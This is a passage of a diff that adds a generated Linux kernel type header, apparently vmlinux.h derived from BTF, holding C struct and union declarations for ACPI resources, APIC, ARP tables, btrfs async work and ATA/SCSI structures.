__attribute__((packed)); + +struct aml_resource_dma { + u8 descriptor_type; + u8 dma_channel_mask; + u8 flags; +}; + +struct aml_resource_start_dependent { + u8 descriptor_type; + u8 flags; +}; + +struct aml_resource_end_dependent { + u8 descriptor_type; +}; + +struct aml_resource_io { + u8 descriptor_type; + u8 flags; + u16 minimum; + u16 maximum; + u8 alignment; + u8 address_length; +}; + +struct aml_resource_fixed_io { + u8 descriptor_type; + u16 address; + u8 address_length; +} __attribute__((packed)); + +struct aml_resource_fixed_dma { + u8 descriptor_type; + u16 request_lines; + u16 channels; + u8 width; +} __attribute__((packed)); + +struct aml_resource_vendor_small { + u8 descriptor_type; +}; + +struct aml_resource_end_tag { + u8 descriptor_type; + u8 checksum; +}; + +struct aml_resource_memory24 { + u8 descriptor_type; + u16 resource_length; + u8 flags; + u16 minimum; + u16 maximum; + u16 alignment; + u16 address_length; +} __attribute__((packed)); + +struct aml_resource_generic_register { + u8 descriptor_type; + u16 resource_length; + u8 address_space_id; + u8 bit_width; + u8 bit_offset; + u8 access_size; + u64 address; +} __attribute__((packed)); + +struct aml_resource_vendor_large { + u8 descriptor_type; + u16 resource_length; +} __attribute__((packed)); + +struct aml_resource_memory32 { + u8 descriptor_type; + u16 resource_length; + u8 flags; + u32 minimum; + u32 maximum; + u32 alignment; + u32 address_length; +} __attribute__((packed)); + +struct aml_resource_fixed_memory32 { + u8 descriptor_type; + u16 resource_length; + u8 flags; + u32 address; + u32 address_length; +} __attribute__((packed)); + +struct aml_resource_address16 { + u8 descriptor_type; + u16 resource_length; + u8 resource_type; + u8 flags; + u8 specific_flags; + u16 granularity; + u16 minimum; + u16 maximum; + u16 translation_offset; + u16 address_length; +} __attribute__((packed)); + +struct aml_resource_address32 { + u8 descriptor_type; + u16 resource_length; + u8 resource_type; + u8 flags; + u8 specific_flags; + u32 granularity; + u32 minimum; + u32 maximum; + u32 translation_offset; + u32 address_length; +} __attribute__((packed)); + +struct aml_resource_address64 { + u8 descriptor_type; + u16 resource_length; + u8 resource_type; + u8 flags; + u8 specific_flags; + u64 granularity; + u64 minimum; + u64 maximum; + u64 translation_offset; + u64 address_length; +} __attribute__((packed)); + +struct aml_resource_extended_address64 { + u8 descriptor_type; + u16 resource_length; + u8 resource_type; + u8 flags; + u8 specific_flags; + u8 revision_ID; + u8 reserved; + u64 granularity; + u64 minimum; + u64 maximum; + u64 translation_offset; + u64 address_length; + u64 type_specific; +} __attribute__((packed)); + +struct aml_resource_extended_irq { + u8 descriptor_type; + u16 resource_length; + u8 flags; + u8 interrupt_count; + union { + u32 interrupt; + struct { + struct {} __Empty_interrupts; + u32 interrupts[0]; + }; + }; +} __attribute__((packed)); + +struct aml_resource_gpio { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u8 connection_type; + u16 flags; + u16 int_flags; + u8 pin_config; + u16 drive_strength; + u16 debounce_timeout; + u16 pin_table_offset; + u8 res_source_index; + u16 res_source_offset; + u16 vendor_offset; + u16 vendor_length; +} __attribute__((packed)); + +struct aml_resource_i2c_serialbus { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u8 res_source_index; + u8 type; + u8 flags; + u16 type_specific_flags; + u8 type_revision_id; + u16 type_data_length; + u32 connection_speed; + u16 slave_address; +} __attribute__((packed)); + +struct aml_resource_spi_serialbus { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u8 res_source_index; + u8 type; + u8 flags; + u16 type_specific_flags; + u8 type_revision_id; + u16 type_data_length; + u32 connection_speed; + u8 data_bit_length; + u8 clock_phase; + u8 clock_polarity; + u16 device_selection; +} __attribute__((packed)); + +struct aml_resource_uart_serialbus { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u8 res_source_index; + u8 type; + u8 flags; + u16 type_specific_flags; + u8 type_revision_id; + u16 type_data_length; + u32 default_baud_rate; + u16 rx_fifo_size; + u16 tx_fifo_size; + u8 parity; + u8 lines_enabled; +} __attribute__((packed)); + +struct aml_resource_csi2_serialbus { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u8 res_source_index; + u8 type; + u8 flags; + u16 type_specific_flags; + u8 type_revision_id; + u16 type_data_length; +} __attribute__((packed)); + +struct aml_resource_common_serialbus { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u8 res_source_index; + u8 type; + u8 flags; + u16 type_specific_flags; + u8 type_revision_id; + u16 type_data_length; +} __attribute__((packed)); + +struct aml_resource_pin_function { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u16 flags; + u8 pin_config; + u16 function_number; + u16 pin_table_offset; + u8 res_source_index; + u16 res_source_offset; + u16 vendor_offset; + u16 vendor_length; +} __attribute__((packed)); + +struct aml_resource_pin_config { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u16 flags; + u8 pin_config_type; + u32 pin_config_value; + u16 pin_table_offset; + u8 res_source_index; + u16 res_source_offset; + u16 vendor_offset; + u16 vendor_length; +} __attribute__((packed)); + +struct aml_resource_pin_group { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u16 flags; + u16 pin_table_offset; + u16 label_offset; + u16 vendor_offset; + u16 vendor_length; +} __attribute__((packed)); + +struct aml_resource_pin_group_function { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u16 flags; + u16 function_number; + u8 res_source_index; + u16 res_source_offset; + u16 res_source_label_offset; + u16 vendor_offset; + u16 vendor_length; +} __attribute__((packed)); + +struct aml_resource_pin_group_config { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u16 flags; + u8 pin_config_type; + u32 pin_config_value; + u8 res_source_index; + u16 res_source_offset; + u16 res_source_label_offset; + u16 vendor_offset; + u16 vendor_length; +} __attribute__((packed)); + +struct aml_resource_clock_input { + u8 descriptor_type; + u16 resource_length; + u8 revision_id; + u16 flags; + u16 frequency_divisor; + u32 frequency_numerator; +} __attribute__((packed)); + +struct aml_resource_address { + u8 descriptor_type; + u16 resource_length; + u8 resource_type; + u8 flags; + u8 specific_flags; +} __attribute__((packed)); + +union aml_resource { + u8 descriptor_type; + struct aml_resource_small_header small_header; + struct aml_resource_large_header large_header; + struct aml_resource_irq irq; + struct aml_resource_dma dma; + struct aml_resource_start_dependent start_dpf; + struct aml_resource_end_dependent end_dpf; + struct aml_resource_io io; + struct aml_resource_fixed_io fixed_io; + struct aml_resource_fixed_dma fixed_dma; + struct aml_resource_vendor_small vendor_small; + struct aml_resource_end_tag end_tag; + struct aml_resource_memory24 memory24; + struct aml_resource_generic_register generic_reg; + struct aml_resource_vendor_large vendor_large; + struct aml_resource_memory32 memory32; + struct aml_resource_fixed_memory32 fixed_memory32; + struct aml_resource_address16 address16; + struct aml_resource_address32 address32; + struct aml_resource_address64 address64; + struct aml_resource_extended_address64 ext_address64; + struct aml_resource_extended_irq extended_irq; + struct aml_resource_gpio gpio; + struct aml_resource_i2c_serialbus i2c_serial_bus; + struct aml_resource_spi_serialbus spi_serial_bus; + struct aml_resource_uart_serialbus uart_serial_bus; + struct aml_resource_csi2_serialbus csi2_serial_bus; + struct aml_resource_common_serialbus common_serial_bus; + struct aml_resource_pin_function pin_function; + struct aml_resource_pin_config pin_config; + struct aml_resource_pin_group pin_group; + struct aml_resource_pin_group_function pin_group_function; + struct aml_resource_pin_group_config pin_group_config; + struct aml_resource_clock_input clock_input; + struct aml_resource_address address; + u32 dword_item; + u16 word_item; + u8 byte_item; +}; + +struct kobj_uevent_env; + +struct kobj_ns_type_operations; + +struct class { + const char *name; + const struct attribute_group **class_groups; + const struct attribute_group **dev_groups; + int (*dev_uevent)(const struct device *, struct kobj_uevent_env *); + char * (*devnode)(const struct device *, umode_t *); + void (*class_release)(const struct class *); + void (*dev_release)(struct device *); + int (*shutdown_pre)(struct device *); + const struct kobj_ns_type_operations *ns_type; + const void * (*namespace)(const struct device *); + void (*get_ownership)(const struct device *, kuid_t *, kgid_t *); + const struct dev_pm_ops *pm; +}; + +struct transport_container; + +struct transport_class { + struct class class; + int (*setup)(struct transport_container *, struct device *, struct device *); + int (*configure)(struct transport_container *, struct device *, struct device *); + int (*remove)(struct transport_container *, struct device *, struct device *); +}; + +struct klist_node; + +struct klist { + spinlock_t k_lock; + struct list_head k_list; + void (*get)(struct klist_node *); + void (*put)(struct klist_node *); +}; + +struct attribute_container { + struct list_head node; + struct klist containers; + struct class *class; + const struct attribute_group *grp; + struct device_attribute **attrs; + int (*match)(struct attribute_container *, struct device *); + unsigned long flags; +}; + +struct anon_transport_class { + struct transport_class tclass; + struct attribute_container container; +}; + +struct anon_vma { + struct anon_vma *root; + struct rw_semaphore rwsem; + atomic_t refcount; + unsigned long num_children; + unsigned long num_active_vmas; + struct anon_vma *parent; + struct rb_root_cached rb_root; +}; + +struct anon_vma_chain { + struct vm_area_struct *vma; + struct anon_vma *anon_vma; + struct list_head same_vma; + struct rb_node rb; + unsigned long rb_subtree_last; +}; + +struct anon_vma_name { + struct kref kref; + char name[0]; +}; + +struct antenna_setup { + enum antenna rx; + enum antenna tx; + u8 rx_chain_num; + u8 tx_chain_num; +}; + +struct apd_private_data; + +struct apd_device_desc { + unsigned int fixed_clk_rate; + struct property_entry *properties; + int (*setup)(struct apd_private_data *); +}; + +struct clk; + +struct apd_private_data { + struct clk *clk; + struct acpi_device *adev; + const struct apd_device_desc *dev_desc; +}; + +struct aperfmperf { + seqcount_t seq; + unsigned long last_update; + u64 acnt; + u64 mcnt; + u64 aperf; + u64 mperf; +}; + +struct aperture_range { + struct device *dev; + resource_size_t base; + resource_size_t size; + struct list_head lh; + void (*detach)(struct device *); +}; + +struct api_context { + struct completion done; + int status; +}; + +struct apic { + void (*eoi)(void); + void (*native_eoi)(void); + void (*write)(u32, u32); + u32 (*read)(u32); + void (*wait_icr_idle)(void); + u32 (*safe_wait_icr_idle)(void); + void (*send_IPI)(int, int); + void (*send_IPI_mask)(const struct cpumask *, int); + void (*send_IPI_mask_allbutself)(const struct cpumask *, int); + void (*send_IPI_allbutself)(int); + void (*send_IPI_all)(int); + void (*send_IPI_self)(int); + u32 disable_esr: 1; + u32 dest_mode_logical: 1; + u32 x2apic_set_max_apicid: 1; + u32 nmi_to_offline_cpu: 1; + u32 (*calc_dest_apicid)(unsigned int); + u64 (*icr_read)(void); + void (*icr_write)(u32, u32); + u32 max_apic_id; + int (*probe)(void); + int (*acpi_madt_oem_check)(char *, char *); + void (*init_apic_ldr)(void); + u32 (*cpu_present_to_apicid)(int); + u32 (*get_apic_id)(u32); + int (*wakeup_secondary_cpu)(u32, unsigned long); + int (*wakeup_secondary_cpu_64)(u32, unsigned long); + char *name; +}; + +struct irq_cfg { + unsigned int dest_apicid; + unsigned int vector; +}; + +struct apic_chip_data { + struct irq_cfg hw_irq_cfg; + unsigned int vector; + unsigned int prev_vector; + unsigned int cpu; + unsigned int prev_cpu; + unsigned int irq; + struct hlist_node clist; + unsigned int move_in_progress: 1; + unsigned int is_managed: 1; + unsigned int can_reserve: 1; + unsigned int has_reserved: 1; +}; + +union apic_ir { + unsigned long map[4]; + u32 regs[8]; +}; + +struct apic_override { + void (*eoi)(void); + void (*native_eoi)(void); + void (*write)(u32, u32); + u32 (*read)(u32); + void (*send_IPI)(int, int); + void (*send_IPI_mask)(const struct cpumask *, int); + void (*send_IPI_mask_allbutself)(const struct cpumask *, int); + void (*send_IPI_allbutself)(int); + void (*send_IPI_all)(int); + void (*send_IPI_self)(int); + u64 (*icr_read)(void); + void (*icr_write)(u32, u32); + int (*wakeup_secondary_cpu)(u32, unsigned long); + int (*wakeup_secondary_cpu_64)(u32, unsigned long); +}; + +struct apm_bios_info { + __u16 version; + __u16 cseg; + __u32 offset; + __u16 cseg_16; + __u16 dseg; + __u16 flags; + __u16 cseg_len; + __u16 cseg_16_len; + __u16 dseg_len; +}; + +struct workqueue_attrs; + +struct pool_workqueue; + +struct apply_wqattrs_ctx { + struct workqueue_struct *wq; + struct workqueue_attrs *attrs; + struct list_head list; + struct pool_workqueue *dfl_pwq; + struct pool_workqueue *pwq_tbl[0]; +}; + +struct arc4_ctx { + u32 S[256]; + u32 x; + u32 y; +}; + +struct arch_elf_state {}; + +struct arch_hw_breakpoint { + unsigned long address; + unsigned long mask; + u8 len; + u8 type; +}; + +struct arch_hybrid_cpu_scale { + unsigned long capacity; + unsigned long freq_ratio; +}; + +struct arch_io_reserve_memtype_wc_devres { + resource_size_t start; + resource_size_t size; +}; + +struct lbr_entry { + u64 from; + u64 to; + u64 info; +}; + +struct arch_lbr_state { + u64 lbr_ctl; + u64 lbr_depth; + u64 ler_from; + u64 ler_to; + u64 ler_info; + struct lbr_entry entries[0]; +}; + +struct arch_optimized_insn { + kprobe_opcode_t copied_insn[4]; + kprobe_opcode_t *insn; + size_t size; +}; + +struct kprobe; + +struct pt_regs; + +struct arch_specific_insn { + kprobe_opcode_t *insn; + unsigned int boostable: 1; + unsigned char size; + union { + unsigned char opcode; + struct { + unsigned char type; + } jcc; + struct { + unsigned char type; + unsigned char asize; + } loop; + struct { + unsigned char reg; + } indirect; + }; + s32 rel32; + void (*emulate_op)(struct kprobe *, struct pt_regs *); + int tp_len; +}; + +struct arch_tlbflush_unmap_batch { + struct cpumask cpumask; +}; + +struct uprobe_xol_ops; + +struct arch_uprobe { + union { + u8 insn[16]; + u8 ixol[16]; + }; + const struct uprobe_xol_ops *ops; + union { + struct { + s32 offs; + u8 ilen; + u8 opc1; + } branch; + struct { + u8 fixups; + u8 ilen; + } defparam; + struct { + u8 reg_offset; + u8 ilen; + } push; + }; +}; + +struct arch_uprobe_task { + unsigned long saved_scratch_register; + unsigned int saved_trap_nr; + unsigned int saved_tf; +}; + +struct arch_vdso_data {}; + +struct in6_addr; + +struct arg_dev_net_ip { + struct net *net; + struct in6_addr *addr; +}; + +struct arg_netdev_event { + const struct net_device *dev; + union { + unsigned char nh_flags; + unsigned long event; + }; +}; + +struct args_askumount { + __u32 may_umount; +}; + +struct args_expire { + __u32 how; +}; + +struct args_fail { + __u32 token; + __s32 status; +}; + +struct args_in { + __u32 type; +}; + +struct args_out { + __u32 devid; + __u32 magic; +}; + +struct args_ismountpoint { + union { + struct args_in in; + struct args_out out; + }; +}; + +struct args_openmount { + __u32 devid; +}; + +struct args_protosubver { + __u32 sub_version; +}; + +struct args_protover { + __u32 version; +}; + +struct args_ready { + __u32 token; +}; + +struct args_requester { + __u32 uid; + __u32 gid; +}; + +struct args_setpipefd { + __s32 pipefd; +}; + +struct args_timeout { + __u64 timeout; +}; + +struct arphdr { + __be16 ar_hrd; + __be16 ar_pro; + unsigned char ar_hln; + unsigned char ar_pln; + __be16 ar_op; +}; + +struct arppayload { + unsigned char mac_src[6]; + unsigned char ip_src[4]; + unsigned char mac_dst[6]; + unsigned char ip_dst[4]; +}; + +struct sockaddr { + sa_family_t sa_family; + union { + char sa_data_min[14]; + struct { + struct {} __empty_sa_data; + char sa_data[0]; + }; + }; +}; + +struct arpreq { + struct sockaddr arp_pa; + struct sockaddr arp_ha; + int arp_flags; + struct sockaddr arp_netmask; + char arp_dev[16]; +}; + +struct in_addr { + __be32 s_addr; +}; + +struct arpt_devaddr_info { + char addr[16]; + char mask[16]; +}; + +struct arpt_arp { + struct in_addr src; + struct in_addr tgt; + struct in_addr smsk; + struct in_addr tmsk; + __u8 arhln; + __u8 arhln_mask; + struct arpt_devaddr_info src_devaddr; + struct arpt_devaddr_info tgt_devaddr; + __be16 arpop; + __be16 arpop_mask; + __be16 arhrd; + __be16 arhrd_mask; + __be16 arpro; + __be16 arpro_mask; + char iniface[16]; + char outiface[16]; + unsigned char iniface_mask[16]; + unsigned char outiface_mask[16]; + __u8 flags; + __u16 invflags; +}; + +struct xt_counters { + __u64 pcnt; + __u64 bcnt; +}; + +struct arpt_entry { + struct arpt_arp arp; + __u16 target_offset; + __u16 next_offset; + unsigned int comefrom; + struct xt_counters counters; + unsigned char elems[0]; +}; + +struct trace_array; + +struct trace_array_cpu; + +struct array_buffer { + struct trace_array *tr; + struct trace_buffer *buffer; + struct trace_array_cpu __attribute__((btf_type_tag("percpu"))) *data; + u64 time_start; + int cpu; +}; + +typedef int (*asn1_action_t)(void *, size_t, unsigned char, const void *, size_t); + +struct asn1_decoder { + const unsigned char *machine; + size_t machlen; + const asn1_action_t *actions; +}; + +struct assoc_array_ptr; + +struct assoc_array { + struct assoc_array_ptr *root; + unsigned long nr_leaves_on_tree; +}; + +struct assoc_array_node; + +struct assoc_array_delete_collapse_context { + struct assoc_array_node *node; + const void *skip_leaf; + int slot; +}; + +struct assoc_array_ops; + +struct assoc_array_edit { + struct callback_head rcu; + struct assoc_array *array; + const struct assoc_array_ops *ops; + const struct assoc_array_ops *ops_for_excised_subtree; + struct assoc_array_ptr *leaf; + struct assoc_array_ptr **leaf_p; + struct assoc_array_ptr *dead_leaf; + struct assoc_array_ptr *new_meta[3]; + struct assoc_array_ptr *excised_meta[1]; + struct assoc_array_ptr *excised_subtree; + struct assoc_array_ptr **set_backpointers[16]; + struct assoc_array_ptr *set_backpointers_to; + struct assoc_array_node *adjust_count_on; + long adjust_count_by; + struct { + struct assoc_array_ptr **ptr; + struct assoc_array_ptr *to; + } set[2]; + struct { + u8 *p; + u8 to; + } set_parent_slot[1]; + u8 segment_cache[17]; +}; + +struct assoc_array_node { + struct assoc_array_ptr *back_pointer; + u8 parent_slot; + struct assoc_array_ptr *slots[16]; + unsigned long nr_leaves_on_branch; +}; + +struct assoc_array_ops { + unsigned long (*get_key_chunk)(const void *, int); + unsigned long (*get_object_key_chunk)(const void *, int); + bool (*compare_object)(const void *, const void *); + int (*diff_objects)(const void *, const void *); + void (*free_object)(void *); +}; + +struct assoc_array_shortcut { + struct assoc_array_ptr *back_pointer; + int parent_slot; + int skip_to_level; + struct assoc_array_ptr *next_node; + unsigned long index_key[0]; +}; + +struct assoc_array_walk_result { + struct { + struct assoc_array_node *node; + int level; + int slot; + } terminal_node; + struct { + struct assoc_array_shortcut *shortcut; + int level; + int sc_level; + unsigned long sc_segments; + unsigned long dissimilarity; + } wrong_shortcut; +}; + +struct asym_cap_data { + struct list_head link; + struct callback_head rcu; + unsigned long capacity; + unsigned long cpus[0]; +}; + +struct asymmetric_key_id { + unsigned short len; + unsigned char data[0]; +}; + +struct asymmetric_key_ids { + void *id[3]; +}; + +struct key_preparsed_payload; + +struct asymmetric_key_parser { + struct list_head link; + struct module *owner; + const char *name; + int (*parse)(struct key_preparsed_payload *); +}; + +struct key; + +struct seq_file; + +struct kernel_pkey_params; + +struct kernel_pkey_query; + +struct public_key_signature; + +struct asymmetric_key_subtype { + struct module *owner; + const char *name; + unsigned short name_len; + void (*describe)(const struct key *, struct seq_file *); + void (*destroy)(void *, void *); + int (*query)(const struct kernel_pkey_params *, struct kernel_pkey_query *); + int (*eds_op)(struct kernel_pkey_params *, const void *, void *); + int (*verify_signature)(const struct key *, const struct public_key_signature *); +}; + +struct usb_dev_state; + +struct pid; + +struct urb; + +struct usb_memory; + +struct async { + struct list_head asynclist; + struct usb_dev_state *ps; + struct pid *pid; + const struct cred *cred; + unsigned int signr; + unsigned int ifnum; + void __attribute__((btf_type_tag("user"))) *userbuffer; + void __attribute__((btf_type_tag("user"))) *userurb; + sigval_t userurb_sigval; + struct urb *urb; + struct usb_memory *usbm; + unsigned int mem_usage; + int status; + u8 bulk_addr; + u8 bulk_status; +}; + +struct btrfs_work; + +typedef void (*btrfs_func_t)(struct btrfs_work *); + +typedef void (*btrfs_ordered_func_t)(struct btrfs_work *, bool); + +struct btrfs_workqueue; + +struct btrfs_work { + btrfs_func_t func; + btrfs_ordered_func_t ordered_func; + struct work_struct normal_work; + struct list_head ordered_list; + struct btrfs_workqueue *wq; + unsigned long flags; +}; + +struct btrfs_inode; + +struct cgroup_subsys_state; + +struct async_cow; + +struct async_chunk { + struct btrfs_inode *inode; + struct folio *locked_folio; + u64 start; + u64 end; + blk_opf_t write_flags; + struct list_head extents; + struct cgroup_subsys_state *blkcg_css; + struct btrfs_work work; + struct async_cow *async_cow; +}; + +struct async_cow { + atomic_t num_chunks; + struct async_chunk chunks[0]; +}; + +struct async_domain { + struct list_head pending; + unsigned int registered: 1; +}; + +typedef void (*async_func_t)(void *, async_cookie_t); + +struct async_entry { + struct list_head domain_list; + struct list_head global_list; + struct work_struct work; + async_cookie_t cookie; + async_func_t func; + void *data; + struct async_domain *domain; +}; + +struct async_extent { + u64 start; + u64 ram_size; + u64 compressed_size; + struct folio **folios; + unsigned long nr_folios; + int compress_type; + struct list_head list; +}; + +struct io_poll { + struct file *file; + struct wait_queue_head *head; + __poll_t events; + int retries; + struct wait_queue_entry wait; +}; + +struct async_poll { + struct io_poll poll; + struct io_poll *double_poll; +}; + +struct async_scan_data { + struct list_head list; + struct Scsi_Host *shost; + struct completion prev_finished; +}; + +struct nvme_ctrl; + +struct async_scan_info { + struct nvme_ctrl *ctrl; + atomic_t next_nsid; + __le32 *ns_list; +}; + +struct btrfs_device; + +struct btrfs_io_context; + +struct btrfs_io_stripe { + struct btrfs_device *dev; + u64 physical; + u64 length; + bool rst_search_commit_root; + struct btrfs_io_context *bioc; +}; + +struct btrfs_bio; + +struct async_submit_bio { + struct btrfs_bio *bbio; + struct btrfs_io_context *bioc; + struct btrfs_io_stripe smap; + int mirror_num; + struct btrfs_work work; +}; + +typedef void (*dma_async_tx_callback)(void *); + +struct dma_async_tx_descriptor; + +struct async_submit_ctl { + enum async_tx_flags flags; + struct dma_async_tx_descriptor *depend_tx; + dma_async_tx_callback cb_fn; + void *cb_param; + void *scribble; +}; + +struct ata_acpi_drive { + u32 pio; + u32 dma; +}; + +struct ata_acpi_gtf { + u8 tf[7]; +}; + +struct ata_acpi_gtm { + struct ata_acpi_drive drive[2]; + u32 flags; +}; + +struct ata_device; + +struct ata_acpi_hotplug_context { + struct acpi_hotplug_context hp; + union { + struct ata_port *ap; + struct ata_device *dev; + } data; +}; + +struct ata_bmdma_prd { + __le32 addr; + __le32 flags_len; +}; + +struct ata_cdl { + u8 desc_log_buf[512]; + u8 ncq_sense_log_buf[1024]; +}; + +struct ata_cpr { + u8 num; + u8 num_storage_elements; + u64 start_lba; + u64 num_lbas; +}; + +struct ata_cpr_log { + u8 nr_cpr; + struct ata_cpr cpr[0]; +}; + +struct ata_dev_quirks_entry { + const char *model_num; + const char *model_rev; + unsigned int quirks; +}; + +struct ata_ering_entry { + unsigned int eflags; + unsigned int err_mask; + u64 timestamp; +}; + +struct ata_ering { + int cursor; + struct ata_ering_entry ring[32]; +}; + +struct scsi_device; + +struct ata_device { + struct ata_link *link; + unsigned int devno; + unsigned int quirks; + unsigned long flags; + struct scsi_device *sdev; + void *private_data; + union acpi_object *gtf_cache; + unsigned int gtf_filter; + struct device tdev; + u64 n_sectors; + u64 n_native_sectors; + unsigned int class; + unsigned long unpark_deadline; + u8 pio_mode; + u8 dma_mode; + u8 xfer_mode; + unsigned int xfer_shift; + unsigned int multi_count; + unsigned int max_sectors; + unsigned int cdb_len; + unsigned int pio_mask; + unsigned int mwdma_mask; + unsigned int udma_mask; + u16 cylinders; + u16 heads; + u16 sectors; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + union { + u16 id[256]; + u32 gscr[128]; + }; + u8 devslp_timing[8]; + u8 ncq_send_recv_cmds[20]; + u8 ncq_non_data_cmds[64]; + u32 zac_zoned_cap; + u32 zac_zones_optimal_open; + u32 zac_zones_optimal_nonseq; + u32 zac_zones_max_open; + struct ata_cpr_log *cpr_log; + struct ata_cdl *cdl; + int spdn_cnt; + struct ata_ering ering; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + u8 sector_buf[512]; +}; + +struct ata_eh_cmd_timeout_ent { + const u8 *commands; + const unsigned int *timeouts; +}; + +struct ata_eh_info { + struct ata_device *dev; + u32 serror; + unsigned int err_mask; + unsigned int action; + unsigned int dev_action[2]; + unsigned int flags; + unsigned int probe_mask; + char desc[80]; + int desc_len; +}; + +struct ata_eh_context { + struct ata_eh_info i; + int tries[2]; + int cmd_timeout_idx[16]; + unsigned int classes[2]; + unsigned int did_probe_mask; + unsigned int unloaded_mask; + unsigned int saved_ncq_enabled; + u8 saved_xfer_mode[2]; + unsigned long last_reset; +}; + +struct ata_force_param { + const char *name; + u8 cbl; + u8 spd_limit; + unsigned int xfer_mask; + unsigned int quirk_on; + unsigned int quirk_off; + u16 lflags_on; + u16 lflags_off; +}; + +struct ata_force_ent { + int port; + int device; + struct ata_force_param param; +}; + +struct ata_port_operations; + +struct ata_host { + spinlock_t lock; + struct device *dev; + void * const *iomap; + unsigned int n_ports; + unsigned int n_tags; + void *private_data; + struct ata_port_operations *ops; + unsigned long flags; + struct kref kref; + struct mutex eh_mutex; + struct task_struct *eh_owner; + struct ata_port *simplex_claimed; + struct ata_port *ports[0]; +}; + +struct transport_container { + struct attribute_container ac; + const struct attribute_group *statistics; +}; + +struct scsi_transport_template { + struct transport_container host_attrs; + struct transport_container target_attrs; + struct transport_container device_attrs; + int (*user_scan)(struct Scsi_Host *, uint, uint, u64); + int device_size; + int device_private_offset; + int target_size; + int target_private_offset; + int host_size; + unsigned int create_work_queue: 1; + void (*eh_strategy_handler)(struct Scsi_Host *); +}; + +struct ata_internal { + struct scsi_transport_template t; + struct device_attribute private_port_attrs[3]; + struct device_attribute private_link_attrs[3]; + struct device_attribute private_dev_attrs[9]; + struct transport_container link_attr_cont; + struct transport_container dev_attr_cont; + struct device_attribute *link_attrs[4]; + struct device_attribute *port_attrs[4]; + struct device_attribute *dev_attrs[10]; +}; + +struct ata_ioports { + void *cmd_addr; + void *data_addr; + void *error_addr; + void *feature_addr; + void *nsect_addr; + void *lbal_addr; + void *lbam_addr; + void *lbah_addr; + void *device_addr; + void *status_addr; + void *command_addr; + void *altstatus_addr; + void *ctl_addr; + void *bmdma_addr; + void *scr_addr; +}; + +struct ata_link { + struct ata_port *ap; + int pmp; + struct device tdev; + unsigned int active_tag; + u32 sactive; + unsigned int flags; + u32 saved_scontrol; + unsigned int hw_sata_spd_limit; + unsigned int sata_spd_limit; + unsigned int sata_spd; + enum ata_lpm_policy lpm_policy; + struct ata_eh_info eh_info; + struct ata_eh_context eh_context; + long: 64; + long: 64; + long: 64; + long: 64; + struct ata_device device[2]; + unsigned long last_lpm_change; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct ata_taskfile { + unsigned long flags; + u8 protocol; + u8 ctl; + u8 hob_feature; + u8 hob_nsect; + u8 hob_lbal; + u8 hob_lbam; + u8 hob_lbah; + union { + u8 error; + u8 feature; + }; + u8 nsect; + u8 lbal; + u8 lbam; + u8 lbah; + u8 device; + union { + u8 status; + u8 command; + }; + u32 auxiliary; +}; + +struct scatterlist { + unsigned long page_link; + unsigned int offset; + unsigned int length; + dma_addr_t dma_address; + unsigned int dma_length; +}; + +struct ata_queued_cmd; + +typedef void (*ata_qc_cb_t)(struct ata_queued_cmd *); + +struct scsi_cmnd; + +struct ata_queued_cmd { + struct ata_port *ap; + struct ata_device *dev; + struct scsi_cmnd *scsicmd; + void (*scsidone)(struct scsi_cmnd *); + struct ata_taskfile tf; + u8 cdb[16]; + unsigned long flags; + unsigned int tag; + unsigned int hw_tag; + unsigned int n_elem; + unsigned int orig_n_elem; + int dma_dir; + unsigned int sect_size; + unsigned int nbytes; + unsigned int extrabytes; + unsigned int curbytes; + struct scatterlist sgent; + struct scatterlist *sg; + struct scatterlist *cursg; + unsigned int cursg_ofs; + unsigned int err_mask; + struct ata_taskfile result_tf; + ata_qc_cb_t complete_fn; + void *private_data; + void *lldd_task; +}; + +struct ata_port_stats { + unsigned long unhandled_irq; + unsigned long idle_irq; + unsigned long rw_reqbuf; +}; + +struct ata_port { + struct Scsi_Host *scsi_host; + struct ata_port_operations *ops; + spinlock_t *lock; + unsigned long flags; + unsigned int pflags; + unsigned int print_id; + unsigned int port_no; + struct ata_ioports ioaddr; + u8 ctl; + u8 last_ctl; + struct ata_link *sff_pio_task_link; + struct delayed_work sff_pio_task; + struct ata_bmdma_prd *bmdma_prd; + dma_addr_t bmdma_prd_dma; + unsigned int pio_mask; + unsigned int mwdma_mask; + unsigned int udma_mask; + unsigned int cbl; + struct ata_queued_cmd qcmd[33]; + u64 qc_active; + int nr_active_links; + struct ata_link link; + struct ata_link *slave_link; + int nr_pmp_links; + struct ata_link *pmp_link; + struct ata_link *excl_link; + struct ata_port_stats stats; + struct ata_host *host; + struct device *dev; + struct device tdev; + struct mutex scsi_scan_mutex; + struct delayed_work hotplug_task; + struct delayed_work scsi_rescan_task; + unsigned int hsm_task_state; + struct list_head eh_done_q; + wait_queue_head_t eh_wait_q; + int eh_tries; + struct completion park_req_pending; + pm_message_t pm_mesg; + enum ata_lpm_policy target_lpm_policy; + struct timer_list fastdrain_timer; + unsigned int fastdrain_cnt; + async_cookie_t cookie; + int em_message_type; + void *private_data; + struct ata_acpi_gtm __acpi_init_gtm; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct ata_port_info { + unsigned long flags; + unsigned long link_flags; + unsigned int pio_mask; + unsigned int mwdma_mask; + unsigned int udma_mask; + struct ata_port_operations *port_ops; + void *private_data; +}; + +typedef int (*ata_prereset_fn_t)(struct ata_link *, unsigned long); + +typedef int (*ata_reset_fn_t)(struct ata_link *, unsigned int *, unsigned long); + +typedef void (*ata_postreset_fn_t)(struct ata_link *, unsigned int *); + +struct ata_port_operations { + int (*qc_defer)(struct ata_queued_cmd *); + int (*check_atapi_dma)(struct ata_queued_cmd *); + enum ata_completion_errors (*qc_prep)(struct ata_queued_cmd *); + unsigned int (*qc_issue)(struct ata_queued_cmd *); + void (*qc_fill_rtf)(struct ata_queued_cmd *); + void (*qc_ncq_fill_rtf)(struct ata_port *, u64); + int (*cable_detect)(struct 